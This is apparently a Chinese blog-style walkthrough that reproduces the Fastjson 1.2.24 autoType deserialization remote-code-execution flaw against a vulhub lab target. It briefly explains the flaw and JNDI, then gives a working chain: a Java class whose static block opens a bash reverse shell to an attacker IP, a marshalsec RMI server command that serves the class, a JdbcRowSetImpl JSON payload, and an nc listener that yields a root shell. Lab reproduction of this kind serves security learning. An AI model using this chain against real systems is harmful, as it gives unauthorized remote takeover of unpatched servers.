Fastjson简介
Fastjson 是阿里巴巴公司开源的一款 JSON 解析器,它可以解析 JSON 格式的字符串, 支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Bean 。
漏洞原理
fastjson在解析json对象时,会使用autoType实例化某一个具体的类,并调用set/get方法访问属性。漏洞出现在Fastjson autoType处理json对象时,没有对@type字段进行完整的安全性验证,我们可以传入危险的类并调用危险类连接远程RMI服务器,通过恶意类执行恶意代码,进而实现远程代码执行漏洞。
影响版本:fastjson < 1.2.25
Fastjson识别
报错识别
打开代理,使用burp suite抓包
修改请求为POST
将:Content-Type:修改为application/json
fastjson 1.2.24及以下版本,报错信息不会出现alibaba.fastjson的字样
报错请求返回,会出现alibaba.fastjson,表示为:fastjson框架
JNDI
JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名 和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象。
可以访问以下命名/目录服务:
RMI (JAVA远程方法调用)
LDAP (轻量级目录访问协议)
CORBA (公共对象请求代理体系结构)DNS (域名服务)
漏洞复现
攻击机:kali
靶 机:vulhub
1.启动靶场
2.访问靶场
3. 创建一个空文件,命名为TouchFile.java,写入以下代码
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/172.16.115.152/2022 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
4.编译.java文件,生成.class文件
javac TouchFile.java
5.在当下目录开启web服务,有条件的使用vps
6. 下载 marshalsec 搭建一个RMI服务器,进行远程加载payload
下载完成后,进入 “marshalsec” 目录执行编译命令。
mvn clean package -DskipTests
编译时间比较长,应该和网速有关。
看到以下界面,表示编译成功
编译成功以后会在,target目录下生成marshalsec-0.0.3-SNAPSHOT-all.jar文件
7.开启RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://172.16.115.152:8000/#TouchFile" 9999
#红色部分为:你的IP和刚才开启web服务的端口号
8.nc开启监听
端口号为:TouchFile.java文件中的端口号
9.使用burp拦截靶场请求,抓包后改GET包为POST包,输入以下payload:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.6.134:9999/TouchFile",
"autoCommit":true
}
}
右键修改为POST请求
将Content-Type: application/x-www-form-urlencoded
修改为:Content-Type: application/json
点击send发送
10.反弹shell
获得root权限
参考链接:
Fastjson 1.2.24反序列化漏洞复现_景天zy的博客-CSDN博客_vulhub-fastjson1,2,24